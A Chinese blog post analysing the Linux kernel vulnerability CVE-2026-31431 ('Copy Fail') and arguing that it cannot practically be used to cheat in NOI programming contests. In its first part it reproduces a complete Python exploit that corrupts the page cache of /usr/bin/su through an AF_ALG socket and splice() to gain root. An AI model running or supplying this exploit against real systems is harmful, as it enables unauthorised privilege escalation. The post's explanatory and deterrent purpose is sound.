关于Copy Fail漏洞的分析和实战的可应用性

· · 科技·工程

前言

::::info[AI 辅助声明] 由 AI 润色部分段落,已检查正确性。 ::::

第一次没过审,重开了。 (并且严重偏题)

这篇文章主要是对 这篇文章 以及 CVE-2026-31431 这个漏洞本身的一些分析,和在比赛中可能的应用。

注意:请不要尝试在正式比赛中尝试利用漏洞来获取分数。

Part 1

先来看看漏洞本身。

我整理了一下 CVE 官网的介绍(以及一些其他内容),放在下面(不想看的直接跳过即可)。

点进官网,可以看到给出了恐怖的 7.8 分 (接广了) ,算很严重的一个漏洞了(最高也才 10 分)。

这个漏洞原理是这样的:

algif_aead 为了性能将源缓冲区和目标缓冲区合并,也就是就地操作。

正常情况下,如果源数据来自用户空间内存,这没有问题。

但当源数据来自 splice() (注意到这是一个零拷贝操作)传递的文件页缓存时,这些页面本应是只读的,却被当作可写目标缓冲区使用。

然后呢, authencesn 算法在解密过程中,需要将 4 字节的扩展序列号临时存储到目标缓冲区中,但是由于就地操作“优化”(在 Linux 内核版本 4.14 之前不是就地操作),就会越界写入 4 字节,覆盖到了后面的页缓存页面上。

(这些算法具体是什么,因为和主题没啥关系,我就不提了,有兴趣的可以去搜一下,都是和加密有关的。)

于是,攻击者就可以通过控制关联认证数据,来精确写入这 4 个字节写入的位置。

过程嘛,就是攻击者先创建一个 AF_ALG 套接字,绑上 authencesn ,然后用 Python 标准库的 open() 打开 setuid (二进制模式) ,用 splice() 将文件页缓存注入管道,再用 sendmsg() 发送构造好的神秘恶意 AEAD 数据,recvmsg() 就会去解密,结果导致那 4 个字节污染了页缓存。

结果更糟的是, execv() 还会执行被篡改的 setuid 程序,导致攻击者获得 root 。

这就是一个大致流程了,感兴趣的可以品鉴一下下面官方给出的的攻击代码:

::::info[攻击代码]

代码码风很迷惑,建议找 AI 优化一下码风,再和上面攻击过程对应一下。

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

::::

需要注意的是,有部分内核版本是没有这个漏洞的,主要都是些 LTS 版本,可惜 NOI Linux 并不在其列(请输入文本)。

因为这个利用的是纯逻辑错误,和其他的各种需要竞态条件之类的漏洞不一样,所以能做到一次成功。

Part 2

讲完漏洞本身,现在来看看文章(最后分析可实操性)。

感觉比较夸大事实(而且有点带节奏嫌疑?不确定)。

首先第一句就不太严谨。你是咋知道 selfEval 是以 root 身份而不是用户权限运行的呢?

其实前人已经有想叉掉 selfEval 的了,但是失败了,具体看 这篇NOI2023游记 。

所以 selfEval 是怎么运行的,咱也不知道(除非有人去问 CCF 并得到答复)。

正式测试下发下来感觉更不可能,而且如果真的这样了不还得重考?

剩下的,都是 CCF 明令禁止的内容。(不过我想你能想到这个,应该已经不考虑禁不禁止了对吧)

(而且好像看 selfEval 数据也没啥用?反正又不是正式数据)

并且, NOI 之类的比赛作为国家级比赛,肯定都会有什么措施来防止你干影响正常评测的事,我个人感觉应该会用个沙箱一类的工具,这样的话,你光一个 open() 操作就已经被防下了,更何谈之后的各种系统操作?

在代码里包含提权代码也是一个道理(一般是要用到 system()popen() 等相关函数的,但是这也属于调用系统函数,肯定不行),但是还多了一个条件,就是评测机必须有 Python 环境,但是大概率是没有的吧,那就玩不了了啊(这个我也没具体看过,但推测一下应该不会有)。

接下来详细讲讲可能有什么用。(其实主要是怎么被防,以及对这里一些内容更详细的解释)

Part 3

分析一下在正赛使用这个漏洞的可行性。

分几条介绍一下。

省流:不行。

1. 关于内核

这个漏洞能成功的基础,是 algif_aead 这个模块是被加载的,没加载,就用不了,而且要关闭的命令也很简单,记得是一两行就够了。

如果 NOI Linux 没有加载这个模块,或者更进一步,把整个 crypto 用户接口都 pass 掉了,那你这个漏洞根本玩不了。

2. 关于评测环境

这个就真的【请输入文本】了。

如果有沙箱,或者 seccomp-bpf 之类的系统调用过滤器,直接就把你所有系统操作都拦了,这还有啥漏洞。而且 Linux 还有系统日志(或者人家开个 systemd-journald ),就算你攻击成功了,也被记下来了,人家随便一查,这不炸了。

请输入文本。

3. 关于代码

前面提到了,想把 Python 代码提交上去几乎不可能。

所以难不成你写个 C++ 版本交上去?

或者还是 Linux 大佬,玩上系统库?

没事,代码公开后,不管成没成功,都要炸了。

作弊处理,顺便当个反面教材。

Part 4

写到这里,感觉已经从“技术分析”变成了“劝退指南”,但怎么说还得总结吧?

所以,这个漏洞在赛场上基本用不了,也不会有人靠这个漏洞拿到 400 pts ,跟 OIer 没啥大关系了。

总结:在正赛上,这个漏洞基本没有利用价值,有的话也是小到【请输入文本】。

还有,如果 CCF 真要因这种原因重考,吃瓜群众算我一个。

(此处应有 Joker 表情包)

参考资料

  1. https://www.cve.org/CVERecord?id=CVE-2026-31431
  2. https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/